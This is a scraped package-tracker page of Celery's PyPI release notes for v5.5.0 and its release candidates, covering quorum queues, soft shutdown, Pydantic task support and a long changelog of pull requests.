NewYour coding agent can read the release notes before it upgrades.Set up the MCP server →
PyPI · #520 most downloaded on PyPI
Distributed Task Queue.
Last release 7 days ago
22 Sep 2026
Release timing varies
gaps range from 2 weeks to 6 months
Some releases are documented
notes for 27 of the last 60 stable releases
2 versions withdrawn
withdrawn after publishing
17 years old
225 releases · first in 2009
Limit pymongo<4.7 when Python <= 3.10 due to breaking changes in 4.7 by @Nusnus in https://github.com/celery/celery/pull/8988
Celery v5.5.0 is now available.
See What's new in Celery 5.5 for a complete overview or read the main highlights below.
Long-standing disconnection issues with the Redis broker have been identified and resolved in Kombu 5.5.0, which is included with this release. These improvements significantly enhance stability when using Redis as a broker.
Additionally, the Redis backend now has better exception handling with the new exception_safe_to_retry feature, which improves resilience during temporary Redis connection issues. See Redis backend settings for complete documentation.
Contributed by @drienkop in #9614.
pycurl replaced with urllib3Replaced the pycurl dependency with urllib3.
We're monitoring the performance impact of this change and welcome feedback from users who notice any significant differences in their environments.
Contributed by @spawn-guy in Kombu #2134 and integrated in Celery via #9526.
Added support for RabbitMQ's new Quorum Queues feature, including compatibility with ETA tasks. This implementation has some limitations compared to classic queues, so please refer to the documentation for details.
Native Delayed Delivery is automatically enabled when quorum queues are detected to implement the ETA mechanism.
See Using Quorum Queues for complete documentation.
Configuration options:
broker_native_delayed_delivery_queue_type: Specifies the queue type for delayed delivery (default: quorum)task_default_queue_type: Sets the default queue type for tasks (default: classic)worker_detect_quorum_queues: Controls automatic detection of quorum queues (default: True)Contributed in #9207, #9121, and #9599.
For details regarding the 404 errors, see New Year's Security Incident.
Soft shutdown is a time limited warm shutdown, initiated just before the cold shutdown. The worker will allow worker_soft_shutdown_timeout seconds for all currently executing tasks to finish before it terminates. If the time limit is reached, the worker will initiate a cold shutdown and cancel all currently executing tasks.
This feature is particularly valuable when using brokers with visibility timeout mechanisms, such as Redis or SQS. It allows the worker enough time to re-queue tasks that were not completed before exiting, preventing task loss during worker shutdown.
See Stopping the worker for complete documentation on worker shutdown types.
Configuration options:
worker_soft_shutdown_timeout: Sets the duration in seconds for the soft shutdown period (default: 0.0, disabled)worker_enable_soft_shutdown_on_idle: Controls whether soft shutdown should be enabled even when the worker is idle (default: False)Contributed by @Nusnus in #9213, #9231, and #9238.
New native support for Pydantic models in tasks. This integration allows you to leverage Pydantic's powerful data validation and serialization capabilities directly in your Celery tasks.
Example usage:
from pydantic import BaseModel
from celery import Celery
app = Celery('tasks')
class ArgModel(BaseModel):
value: int
class ReturnModel(BaseModel):
value: str
@app.task(pydantic=True)
def x(arg: ArgModel) -> ReturnModel:
# args/kwargs type hinted as Pydantic model will be converted
assert isinstance(arg, ArgModel)
# The returned model will be converted to a dict automatically
return ReturnModel(value=f"example: {arg.value}")
See Argument validation with Pydantic for complete documentation.
Configuration options:
pydantic=True: Enables Pydantic integration for the taskpydantic_strict=True/False: Controls whether strict validation is enabled (default: False)pydantic_context={...}: Provides additional context for validationpydantic_dump_kwargs={...}: Customizes serialization behaviorContributed by @mathiasertl in #9023, #9319, and #9393.
New support for Google Cloud Pub/Sub as a message transport, expanding Celery's cloud integration options.
See Google Pub/Sub Transport for complete documentation.
For the Google Pub/Sub support you have to install additional dependencies:
$ pip install "celery[gcpubsub]"
Then configure your Celery application to use the Google Pub/Sub transport:
broker_url = 'gcpubsub://projects/project-id'
Contributed by @haimjether in #9351.
Official support for Python 3.13. All core dependencies have been updated to ensure compatibility, including Kombu and py-amqp.
This release maintains compatibility with Python 3.8 through 3.13, as well as PyPy 3.10+.
Contributed by @Nusnus in #9309 and #9350.
The "REMAP_SIGTERM" feature, previously undocumented, has been tested, documented, and is now officially supported. This feature allows you to remap the SIGTERM signal to SIGQUIT, enabling you to initiate a soft or cold shutdown using TERM instead of QUIT.
This is particularly useful in containerized environments where SIGTERM is the standard signal for graceful termination.
See Cold Shutdown documentation for more info.
To enable this feature, set the environment variable:
export REMAP_SIGTERM="SIGQUIT"
Contributed by @Nusnus in #9461.
New create_tables_at_setup option for the database backend. This option controls when database tables are created, allowing for non-lazy table creation.
By default (create_tables_at_setup=True), tables are created during backend initialization. Setting this to False defers table creation until they are actually needed, which can be useful in certain deployment scenarios where you want more control over database schema management.
See Database backend settings for complete documentation.
Configuration:
app.conf.result_backend = 'db+sqlite:///results.db'
app.conf.database_create_tables_at_setup = False
Contributed by @MarcBresson in #9228.
docker compose in Contributing's doc build section by @KeisukeYamashita in https://github.com/celery/celery/pull/9219_is_ambigious -> _is_ambiguous by @pachewise in https://github.com/celery/celery/pull/9248[srv] extra requirement by @fmigneault in https://github.com/celery/celery/pull/9258celery --loader option parsing by @0x2b3bfa0 in https://github.com/celery/celery/pull/9361task_acks_late=False by @Nusnus in https://github.com/celery/celery/pull/9461pycurl by @jmsmkn in https://github.com/celery/celery/pull/9526Full Changelog: https://github.com/celery/celery/compare/v5.4.0...v5.5.0
One column per quarter.
Celery v5.5.0 is now available.
See whatsnew-5.5 for a complete overview or read the main highlights below.
Long-standing disconnection issues with the Redis broker have been identified and resolved in Kombu 5.5.0, which is included with this release. These improvements significantly enhance stability when using Redis as a broker.
Additionally, the Redis backend now has better exception handling with the new exception_safe_to_retry feature, which improves resilience during temporary Redis connection issues. See conf-redis-result-backend for complete documentation.
Contributed by @drienkop in #9614.
Replaced the pycurl dependency with urllib3.
We're monitoring the performance impact of this change and welcome feedback from users who notice any significant differences in their environments.
Contributed by @spawn-guy in Kombu #2134 and integrated in Celery via #9526.
Added support for RabbitMQ's new Quorum Queues feature, including compatibility with ETA tasks. This implementation has some limitations compared to classic queues, so please refer to the documentation for details.
Native Delayed Delivery is automatically enabled when quorum queues are detected to implement the ETA mechanism.
See using-quorum-queues for complete documentation.
Configuration options:
broker_native_delayed_delivery_queue_type: Specifies the queue type for delayed delivery (default: quorum)
task_default_queue_type: Sets the default queue type for tasks (default: classic)
worker_detect_quorum_queues: Controls automatic detection of quorum queues (default: True)
Contributed in #9207, #9121, and #9599.
For details regarding the 404 errors, see New Year's Security Incident.
Soft shutdown is a time limited warm shutdown, initiated just before the cold shutdown. The worker will allow worker_soft_shutdown_timeout seconds for all currently executing tasks to finish before it terminates. If the time limit is reached, the worker will initiate a cold shutdown and cancel all currently executing tasks.
This feature is particularly valuable when using brokers with visibility timeout mechanisms, such as Redis or SQS. It allows the worker enough time to re-queue tasks that were not completed before exiting, preventing task loss during worker shutdown.
See worker-stopping for complete documentation on worker shutdown types.
Configuration options:
worker_soft_shutdown_timeout: Sets the duration in seconds for the soft shutdown period (default: 0.0, disabled)
worker_enable_soft_shutdown_on_idle: Controls whether soft shutdown should be enabled even when the worker is idle (default: False)
Contributed by @Nusnus in #9213, #9231, and #9238.
New native support for Pydantic models in tasks. This integration allows you to leverage Pydantic's powerful data validation and serialization capabilities directly in your Celery tasks.
Example usage:
from pydantic import BaseModel
from celery import Celery
app = Celery('tasks')
class ArgModel(BaseModel):
value: int
class ReturnModel(BaseModel):
value: str
@app.task(pydantic=True)
def x(arg: ArgModel) -> ReturnModel:
# args/kwargs type hinted as Pydantic model will be converted
assert isinstance(arg, ArgModel)
# The returned model will be converted to a dict automatically
return ReturnModel(value=f"example: {arg.value}")See task-pydantic for complete documentation.
Configuration options:
pydantic=True: Enables Pydantic integration for the task
pydantic_strict=True/False: Controls whether strict validation is enabled (default: False)
pydantic_context={...}: Provides additional context for validation
pydantic_dump_kwargs={...}: Customizes serialization behavior
Contributed by @mathiasertl in #9023, #9319, and #9393.
New support for Google Cloud Pub/Sub as a message transport, expanding Celery's cloud integration options.
See broker-gcpubsub for complete documentation.
For the Google Pub/Sub support you have to install additional dependencies:
$ pip install "celery[gcpubsub]"Then configure your Celery application to use the Google Pub/Sub transport:
broker_url = 'gcpubsub://projects/project-id'Contributed by @haimjether in #9351.
Official support for Python 3.13. All core dependencies have been updated to ensure compatibility, including Kombu and py-amqp.
This release maintains compatibility with Python 3.8 through 3.13, as well as PyPy 3.10+.
Contributed by @Nusnus in #9309 and #9350.
The "REMAP_SIGTERM" feature, previously undocumented, has been tested, documented, and is now officially supported. This feature allows you to remap the SIGTERM signal to SIGQUIT, enabling you to initiate a soft or cold shutdown using TERM instead of QUIT.
This is particularly useful in containerized environments where SIGTERM is the standard signal for graceful termination.
See Cold Shutdown documentation for more info.
To enable this feature, set the environment variable:
export REMAP_SIGTERM="SIGQUIT"Contributed by @Nusnus in #9461.
New create_tables_at_setup option for the database backend. This option controls when database tables are created, allowing for non-lazy table creation.
By default (create_tables_at_setup=True), tables are created during backend initialization. Setting this to False defers table creation until they are actually needed, which can be useful in certain deployment scenarios where you want more control over database schema management.
See conf-database-result-backend for complete documentation.
Configuration:
app.conf.result_backend = 'db+sqlite:///results.db'
app.conf.database_create_tables_at_setup = FalseContributed by @MarcBresson in #9228.
(docs): use correct version celery v.5.4.x (#8975)
Update mypy to 1.10.0 (#8977)
Limit pymongo<4.7 when Python <= 3.10 due to breaking changes in 4.7 (#8988)
Bump pytest from 8.1.1 to 8.2.0 (#8987)
Update README to Include FastAPI in Framework Integration Section (#8978)
Clarify return values of ..._on_commit methods (#8984)
add kafka broker docs (#8935)
Limit pymongo<4.7 regardless of Python version (#8999)
Update pymongo[srv] requirement from <4.7,>=4.0.2 to >=4.0.2,<4.8 (#9000)
Update elasticsearch requirement from <=8.13.0 to <=8.13.1 (#9004)
security: SecureSerializer: support generic low-level serializers (#8982)
don't kill if pid same as file (#8997) (#8998)
Update cryptography to 42.0.6 (#9005)
Bump cryptography from 42.0.6 to 42.0.7 (#9009)
don't kill if pid same as file (#8997) (#8998) (#9007)
Added -vv to unit, integration and smoke tests (#9014)
SecuritySerializer: ensure pack separator will not be conflicted with serialized fields (#9010)
Update sphinx-click to 5.2.2 (#9025)
Bump sphinx-click from 5.2.2 to 6.0.0 (#9029)
Fix a typo to display the help message in first-steps-with-django (#9036)
Pinned requests to v2.31.0 due to docker-py bug #3256 (#9039)
Fix certificate validity check (#9037)
Revert "Pinned requests to v2.31.0 due to docker-py bug #3256" (#9043)
Bump pytest from 8.2.0 to 8.2.1 (#9035)
Update elasticsearch requirement from <=8.13.1 to <=8.13.2 (#9045)
Fix detection of custom task set as class attribute with Django (#9038)
Update elastic-transport requirement from <=8.13.0 to <=8.13.1 (#9050)
Bump pycouchdb from 1.14.2 to 1.16.0 (#9052)
Update pytest to 8.2.2 (#9060)
Bump cryptography from 42.0.7 to 42.0.8 (#9061)
Update elasticsearch requirement from <=8.13.2 to <=8.14.0 (#9069)
[enhance feature] Crontab schedule: allow using month names (#9068)
Enhance tox environment: [testenv:clean] (#9072)
Clarify docs about Reserve one task at a time (#9073)
GCS docs fixes (#9075)
Use hub.remove_writer instead of hub.remove for write fds (#4185) (#9055)
Class method to process crontab string (#9079)
Fixed smoke tests env bug when using integration tasks that rely on Redis (#9090)
Bugfix - a task will run multiple times when chaining chains with groups (#9021)
Bump mypy from 1.10.0 to 1.10.1 (#9096)
Don't add a separator to global_keyprefix if it already has one (#9080)
Update pymongo[srv] requirement from <4.8,>=4.0.2 to >=4.0.2,<4.9 (#9111)
Added missing import in examples for Django (#9099)
Bump Kombu to v5.4.0rc1 (#9117)
Removed skipping Redis in t/smoke/tests/test_consumer.py tests (#9118)
Update pytest-subtests to 0.13.0 (#9120)
Increased smoke tests CI timeout (#9122)
Bump Kombu to v5.4.0rc2 (#9127)
Update zstandard to 0.23.0 (#9129)
Update pytest-subtests to 0.13.1 (#9130)
Changed retry to tenacity in smoke tests (#9133)
Bump mypy from 1.10.1 to 1.11.0 (#9135)
Update cryptography to 43.0.0 (#9138)
Update pytest to 8.3.1 (#9137)
Added support for Quorum Queues (#9121)
Bump Kombu to v5.4.0rc3 (#9139)
Cleanup in Changelog.rst (#9141)
Update Django docs for CELERY_CACHE_BACKEND (#9143)
Added missing docs to previous releases (#9144)
Fixed a few documentation build warnings (#9145)
docs(README): link invalid (#9148)
Prepare for (pre) release: v5.5.0b1 (#9146)
Bump pytest from 8.3.1 to 8.3.2 (#9153)
Remove setuptools deprecated test command from setup.py (#9159)
Pin pre-commit to latest version 3.8.0 from Python 3.9 (#9156)
Bump mypy from 1.11.0 to 1.11.1 (#9164)
Change "docker-compose" to "docker compose" in Makefile (#9169)
update python versions and docker compose (#9171)
Add support for Pydantic model validation/serialization (fixes #8751) (#9023)
Allow local dynamodb to be installed on another host than localhost (#8965)
Terminate job implementation for gevent concurrency backend (#9083)
Bump Kombu to v5.4.0 (#9177)
Add check for soft_time_limit and time_limit values (#9173)
Prepare for (pre) release: v5.5.0b2 (#9178)
Added SQS (localstack) broker to canvas smoke tests (#9179)
Pin elastic-transport to <= latest version 8.15.0 (#9182)
Update elasticsearch requirement from <=8.14.0 to <=8.15.0 (#9186)
improve formatting (#9188)
Add basic helm chart for celery (#9181)
Update kafka.rst (#9194)
Update pytest-order to 1.3.0 (#9198)
Update mypy to 1.11.2 (#9206)
all added to routes (#9204)
Fix typos discovered by codespell (#9212)
Use tzdata extras with zoneinfo backports (#8286)
Use docker compose in Contributing's doc build section (#9219)
Failing test for issue #9119 (#9215)
Fix date_done timezone issue (#8385)
CI Fixes to smoke tests (#9223)
fix: passes current request context when pushing to request_stack (#9208)
Fix broken link in the Using RabbitMQ docs page (#9226)
Added Soft Shutdown Mechanism (#9213)
Added worker_enable_soft_shutdown_on_idle (#9231)
Bump cryptography from 43.0.0 to 43.0.1 (#9233)
Added docs regarding the relevancy of soft shutdown and ETA tasks (#9238)
Show broker_connection_retry_on_startup warning only if it evaluates as False (#9227)
Fixed docker-docs CI failure (#9240)
Added docker cleanup auto-fixture to improve smoke tests stability (#9243)
print is not thread-safe, so should not be used in signal handler (#9222)
Prepare for (pre) release: v5.5.0b3 (#9244)
Correct the error description in exception message when validate soft_time_limit (#9246)
Update msgpack to 1.1.0 (#9249)
chore(utils/time.py): rename _is_ambigious -> _is_ambiguous (#9248)
Reduced Smoke Tests to min/max supported python (3.8/3.12) (#9252)
Update pytest to 8.3.3 (#9253)
Update elasticsearch requirement from <=8.15.0 to <=8.15.1 (#9255)
update mongodb without deprecated [srv] extra requirement (#9258)
blacksmith.sh: Migrate workflows to Blacksmith (#9261)
Fixes #9119: inject dispatch_uid for retry-wrapped receivers (#9247)
Run all smoke tests CI jobs together (#9263)
Improve documentation on visibility timeout (#9264)
Bump pytest-celery to 1.1.2 (#9267)
Added missing "app.conf.visibility_timeout" in smoke tests (#9266)
Improved stability with t/smoke/tests/test_consumer.py (#9268)
Improved Redis container stability in the smoke tests (#9271)
Disabled EXHAUST_MEMORY tests in Smoke-tasks (#9272)
Marked xfail for test_reducing_prefetch_count with Redis - flaky test (#9273)
Fixed pypy unit tests random failures in the CI (#9275)
Fixed more pypy unit tests random failures in the CI (#9278)
Fix Redis container from aborting randomly (#9276)
Run Integration & Smoke CI tests together after unit tests passes (#9280)
Added "loglevel verbose" to Redis containers in smoke tests (#9282)
Fixed Redis error in the smoke tests: "Possible SECURITY ATTACK detected" (#9284)
Refactored the smoke tests github workflow (#9285)
Increased --reruns 3->4 in smoke tests (#9286)
Improve stability of smoke tests (CI and Local) (#9287)
Fixed Smoke tests CI "test-case" lables (specific instead of general) (#9288)
Use assert_log_exists instead of wait_for_log in worker smoke tests (#9290)
Optimized t/smoke/tests/test_worker.py (#9291)
Enable smoke tests dockers check before each test starts (#9292)
Relaxed smoke tests flaky tests mechanism (#9293)
Updated quorum queue detection to handle multiple broker instances (#9294)
Non-lazy table creation for database backend (#9228)
Pin pymongo to latest version 4.9 (#9297)
Bump pymongo from 4.9 to 4.9.1 (#9298)
Bump Kombu to v5.4.2 (#9304)
Use rabbitmq:3 in stamping smoke tests (#9307)
Bump pytest-celery to 1.1.3 (#9308)
Added Python 3.13 Support (#9309)
Add log when global qos is disabled (#9296)
Added official release docs (whatsnew) for v5.5 (#9312)
Enable Codespell autofix (#9313)
Pydantic typehints: Fix optional, allow generics (#9319)
Prepare for (pre) release: v5.5.0b4 (#9322)
Added Blacksmith.sh to the Sponsors section in the README (#9323)
Revert "Added Blacksmith.sh to the Sponsors section in the README" (#9324)
Added Blacksmith.sh to the Sponsors section in the README (#9325)
Added missing " |oc-sponsor-3|” in README (#9326)
Use Blacksmith SVG logo (#9327)
Updated Blacksmith SVG logo (#9328)
Revert "Updated Blacksmith SVG logo" (#9329)
Update pymongo to 4.10.0 (#9330)
Update pymongo to 4.10.1 (#9332)
Update user guide to recommend delay_on_commit (#9333)
Pin pre-commit to latest version 4.0.0 (Python 3.9+) (#9334)
Update ephem to 4.1.6 (#9336)
Updated Blacksmith SVG logo (#9337)
Prepare for (pre) release: v5.5.0rc1 (#9341)
Fix: Treat dbm.error as a corrupted schedule file (#9331)
Pin pre-commit to latest version 4.0.1 (#9343)
Added Python 3.13 to Dockerfiles (#9350)
Skip test_pool_restart_import_modules on PyPy due to test issue (#9352)
Update elastic-transport requirement from <=8.15.0 to <=8.15.1 (#9347)
added dragonfly logo (#9353)
Update README.rst (#9354)
Update README.rst (#9355)
Update mypy to 1.12.0 (#9356)
Bump Kombu to v5.5.0rc1 (#9357)
Fix celery --loader option parsing (#9361)
Add support for Google Pub/Sub transport (#9351)
Add native incr support for GCSBackend (#9302)
fix(perform_pending_operations): prevent task duplication on shutdown… (#9348)
Update grpcio to 1.67.0 (#9365)
Update google-cloud-firestore to 2.19.0 (#9364)
Annotate celery/utils/timer2.py (#9362)
Update cryptography to 43.0.3 (#9366)
Update mypy to 1.12.1 (#9368)
Bump mypy from 1.12.1 to 1.13.0 (#9373)
Pass timeout and confirm_timeout to producer.publish() (#9374)
Bump Kombu to v5.5.0rc2 (#9382)
Bump pytest-cov from 5.0.0 to 6.0.0 (#9388)
default strict to False for pydantic tasks (#9393)
Only log that global QoS is disabled if using amqp (#9395)
chore: update sponsorship logo (#9398)
Allow custom hostname for celery_worker in celery.contrib.pytest / celery.contrib.testing.worker (#9405)
Removed docker-docs from CI (optional job, malfunctioning) (#9406)
Added a utility to format changelogs from the auto-generated GitHub release notes (#9408)
Bump codecov/codecov-action from 4 to 5 (#9412)
Update elasticsearch requirement from <=8.15.1 to <=8.16.0 (#9410)
Native Delayed Delivery in RabbitMQ (#9207)
Prepare for (pre) release: v5.5.0rc2 (#9416)
Document usage of broker_native_delayed_delivery_queue_type (#9419)
Adjust section in what's new document regarding quorum queues support (#9420)
Update pytest-rerunfailures to 15.0 (#9422)
Document group unrolling (#9421)
fix small typo acces -> access (#9434)
Update cryptography to 44.0.0 (#9437)
Added pypy to Dockerfile (#9438)
Skipped flaky tests on pypy (all pass after ~10 reruns) (#9439)
Allowing managed credentials for azureblockblob (#9430)
Allow passing Celery objects to the Click entry point (#9426)
support Request termination for gevent (#9440)
Prevent event_mask from being overwritten. (#9432)
Update pytest to 8.3.4 (#9444)
Prepare for (pre) release: v5.5.0rc3 (#9450)
Bugfix: SIGQUIT not initiating cold shutdown when task_acks_late=False (#9461)
Fixed pycurl dep with Python 3.8 (#9471)
Update elasticsearch requirement from <=8.16.0 to <=8.17.0 (#9469)
Bump pytest-subtests from 0.13.1 to 0.14.1 (#9459)
documentation: Added a type annotation to the periodic task example (#9473)
Prepare for (pre) release: v5.5.0rc4 (#9474)
Bump mypy from 1.13.0 to 1.14.0 (#9476)
Fix cassandra backend port settings not working (#9465)
Unroll group when a group with a single item is chained using the | operator (#9456)
fix(django): catch the right error when trying to close db connection (#9392)
Replacing a task with a chain which contains a group now returns a result instead of hanging (#9484)
Avoid using a group of one as it is now unrolled into a chain (#9510)
Link to the correct IRC network (#9509)
Bump pytest-github-actions-annotate-failures from 0.2.0 to 0.3.0 (#9504)
Update canvas.rst to fix output result from chain object (#9502)
Unauthorized Changes Cleanup (#9528)
[RE-APPROVED] fix(django): catch the right error when trying to close db connection (#9529)
[RE-APPROVED] Link to the correct IRC network (#9531)
[RE-APPROVED] Update canvas.rst to fix output result from chain object (#9532)
Update test-ci-base.txt (#9539)
Update install-pyenv.sh (#9540)
Update elasticsearch requirement from <=8.17.0 to <=8.17.1 (#9518)
Bump google-cloud-firestore from 2.19.0 to 2.20.0 (#9493)
Bump mypy from 1.14.0 to 1.14.1 (#9483)
Update elastic-transport requirement from <=8.15.1 to <=8.17.0 (#9490)
Update Dockerfile by adding missing Python version 3.13 (#9549)
Fix typo for default of sig (#9495)
fix(crontab): resolve constructor type conflicts (#9551)
worker_max_memory_per_child: kilobyte is 1024 bytes (#9553)
Fix formatting in quorum queue docs (#9555)
Bump cryptography from 44.0.0 to 44.0.1 (#9556)
Fix the send_task method when detecting if the native delayed delivery approach is available (#9552)
Reverted PR #7814 & minor code improvement (#9494)
Improved donation and sponsorship visibility (#9558)
Updated the Getting Help section, replacing deprecated with new resources (#9559)
Fixed django example (#9562)
Bump Kombu to v5.5.0rc3 (#9564)
Bump ephem from 4.1.6 to 4.2 (#9565)
Bump pytest-celery to v1.2.0 (#9568)
Remove dependency on pycurl (#9526)
Set TestWorkController.__test__ (#9574)
Fixed bug when revoking by stamped headers a stamp that does not exist (#9575)
Canvas Stamping Doc Fixes (#9578)
Bugfix: Chord with a chord in header doesn't invoke error callback on inner chord header failure (default config) (#9580)
Prepare for (pre) release: v5.5.0rc5 (#9582)
Bump google-cloud-firestore from 2.20.0 to 2.20.1 (#9584)
Fix tests with Click 8.2 (#9590)
Bump cryptography from 44.0.1 to 44.0.2 (#9591)
Update elasticsearch requirement from <=8.17.1 to <=8.17.2 (#9594)
Bump pytest from 8.3.4 to 8.3.5 (#9598)
Refactored and Enhanced DelayedDelivery bootstep (#9599)
Improve docs about acks_on_failure_or_timeout (#9577)
Update SECURITY.md (#9609)
remove flake8plus as not needed anymore (#9610)
remove [bdist_wheel] universal = 0 from setup.cfg as not needed (#9611)
remove importlib-metadata as not needed in python3.8 anymore (#9612)
feat: define exception_safe_to_retry for redisbackend (#9614)
Bump Kombu to v5.5.0 (#9615)
Update elastic-transport requirement from <=8.17.0 to <=8.17.1 (#9616)
[docs] fix first-steps (#9618)
Revert "Improve docs about acks_on_failure_or_timeout" (#9606)
Improve CI stability and performance (#9624)
Improved explanation for Database transactions at user guide for tasks (#9617)
update tests to use python 3.8 codes only (#9627)
#9597: Ensure surpassing Hard Timeout limit when task_acks_on_failure_or_timeout is False rejects the task (#9626)
Lock Kombu to v5.5.x (using urllib3 instead of pycurl) (#9632)
Lock pytest-celery to v1.2.x (using urllib3 instead of pycurl) (#9633)
Add Codecov Test Analytics (#9635)
Bump Kombu to v5.5.2 (#9643)
Prepare for release: v5.5.0 (#9644)
Updated the Getting Help section, replacing deprecated with new resources by @Nusnus in https://github.com/celery/celery/pull/9559
Celery v5.5.0 Release Candidate 5 is now available for testing. Please help us test this version and report any issues.
See What’s new in Celery 5.5 (Immunity) or read the main highlights below.
The minimum required Kombu version has been bumped to 5.5.0. Kombu is currently at 5.5.0rc3.
A completely new ETA mechanism was developed to allow full support with RabbitMQ Quorum Queues.
After upgrading to this version, please share your feedback on the quorum queues support.
Relevant Issues: #9207, #6067
After upgrading to this version, please share your feedback on the Google Pub/Sub transport support.
Relevant Issues: #9351
Additional dependencies have been migrated successfully to Python 3.13, including Kombu and py-amqp.
The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown. It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running. After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
The soft shutdown is disabled by default, and can be enabled by setting the new configuration option worker_soft_shutdown_timeout. If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown unless the new configuration option worker_enable_soft_shutdown_on_idle is set to True. This is useful for workers that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like Redis or SQS, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not completed (e.g., Restoring 1 unacknowledged message(s)) by resetting the visibility timeout of the unacknowledged messages just before the worker exits completely.
After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
Relevant Issues: https://github.com/celery/celery/pull/9213, https://github.com/celery/celery/pull/9231, https://github.com/celery/celery/pull/9238
The REMAP_SIGTERM "hidden feature" has been tested, documented and is now officially supported.
This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using TERM
instead of QUIT.
This release introduces support for Pydantic models in Celery tasks. For more info, see the new pydantic example and PR #9023 by @mathiasertl.
After upgrading to this version, please share your feedback on the new Pydantic support.
The root cause of the Redis broker instability issue has been identified and resolved in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
After upgrading to this version, please share your feedback on the Redis broker stability.
Relevant Issues: #7276, #8091, #8030, #8384
This release introduces the initial support for Quorum Queues with Celery.
See new configuration options for more details:
After upgrading to this version, please share your feedback on the Quorum Queues support.
Relevant Issues: #6067, #9121
pycurl by @jmsmkn in https://github.com/celery/celery/pull/9526Full Changelog: https://github.com/celery/celery/compare/v5.5.0rc4...v5.5.0rc5
Celery v5.5.0 Release Candidate 5 is now available for testing. Please help us test this version and report any issues.
See whatsnew-5.5 or read the main highlights below.
The minimum required Kombu version has been bumped to 5.5.0. Kombu is currently at 5.5.0rc3.
A completely new ETA mechanism was developed to allow full support with RabbitMQ Quorum Queues.
After upgrading to this version, please share your feedback on the quorum queues support.
New documentation.
New broker_native_delayed_delivery_queue_type configuration option.
After upgrading to this version, please share your feedback on the Google Pub/Sub transport support.
Relevant Issues: #9351
Additional dependencies have been migrated successfully to Python 3.13, including Kombu and py-amqp.
The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown. It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running. After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
The soft shutdown is disabled by default, and can be enabled by setting the new configuration option worker_soft_shutdown_timeout. If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown unless the new configuration option worker_enable_soft_shutdown_on_idle is set to True. This is useful for workers that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like Redis or SQS, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not completed (e.g., Restoring 1 unacknowledged message(s)) by resetting the visibility timeout of the unacknowledged messages just before the worker exits completely.
After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
Relevant Issues: #9213, #9231, #9238
New documentation for each shutdown type.
New worker_soft_shutdown_timeout configuration option.
New worker_enable_soft_shutdown_on_idle configuration option.
The REMAP_SIGTERM "hidden feature" has been tested, documented and is now officially supported. This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using TERM instead of QUIT.
This release introduces support for Pydantic models in Celery tasks. For more info, see the new pydantic example and PR #9023 by @mathiasertl.
After upgrading to this version, please share your feedback on the new Pydantic support.
The root cause of the Redis broker instability issue has been identified and resolved in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
After upgrading to this version, please share your feedback on the Redis broker stability.
Relevant Issues: #7276, #8091, #8030, #8384
This release introduces the initial support for Quorum Queues with Celery.
See new configuration options for more details:
task_default_queue_type
worker_detect_quorum_queues
After upgrading to this version, please share your feedback on the Quorum Queues support.
Bump mypy from 1.13.0 to 1.14.0 (#9476)
Fix cassandra backend port settings not working (#9465)
Unroll group when a group with a single item is chained using the | operator (#9456)
fix(django): catch the right error when trying to close db connection (#9392)
Replacing a task with a chain which contains a group now returns a result instead of hanging (#9484)
Avoid using a group of one as it is now unrolled into a chain (#9510)
Link to the correct IRC network (#9509)
Bump pytest-github-actions-annotate-failures from 0.2.0 to 0.3.0 (#9504)
Update canvas.rst to fix output result from chain object (#9502)
Unauthorized Changes Cleanup (#9528)
[RE-APPROVED] fix(django): catch the right error when trying to close db connection (#9529)
[RE-APPROVED] Link to the correct IRC network (#9531)
[RE-APPROVED] Update canvas.rst to fix output result from chain object (#9532)
Update test-ci-base.txt (#9539)
Update install-pyenv.sh (#9540)
Update elasticsearch requirement from <=8.17.0 to <=8.17.1 (#9518)
Bump google-cloud-firestore from 2.19.0 to 2.20.0 (#9493)
Bump mypy from 1.14.0 to 1.14.1 (#9483)
Update elastic-transport requirement from <=8.15.1 to <=8.17.0 (#9490)
Update Dockerfile by adding missing Python version 3.13 (#9549)
Fix typo for default of sig (#9495)
fix(crontab): resolve constructor type conflicts (#9551)
worker_max_memory_per_child: kilobyte is 1024 bytes (#9553)
Fix formatting in quorum queue docs (#9555)
Bump cryptography from 44.0.0 to 44.0.1 (#9556)
Fix the send_task method when detecting if the native delayed delivery approach is available (#9552)
Reverted PR #7814 & minor code improvement (#9494)
Improved donation and sponsorship visibility (#9558)
Updated the Getting Help section, replacing deprecated with new resources (#9559)
Fixed django example (#9562)
Bump Kombu to v5.5.0rc3 (#9564)
Bump ephem from 4.1.6 to 4.2 (#9565)
Bump pytest-celery to v1.2.0 (#9568)
Remove dependency on pycurl (#9526)
Set TestWorkController.__test__ (#9574)
Fixed bug when revoking by stamped headers a stamp that does not exist (#9575)
Canvas Stamping Doc Fixes (#9578)
Bugfix: Chord with a chord in header doesn't invoke error callback on inner chord header failure (default config) (#9580)
Prepare for (pre) release: v5.5.0rc5 (#9582)
Celery v5.5.0 Release Candidate 4 is now available for testing. Please help us test this version and report any issues.
Celery v5.5.0 Release Candidate 4 is now available for testing. Please help us test this version and report any issues.
See What’s new in Celery 5.5 (Immunity) or read the main highlights below.
The minimum required Kombu version has been bumped to 5.5.0. Kombu is current at 5.5.0rc2.
A completely new ETA mechanism was developed to allow full support with RabbitMQ Quorum Queues.
After upgrading to this version, please share your feedback on the quorum queues support.
Relevant Issues: #9207, #6067
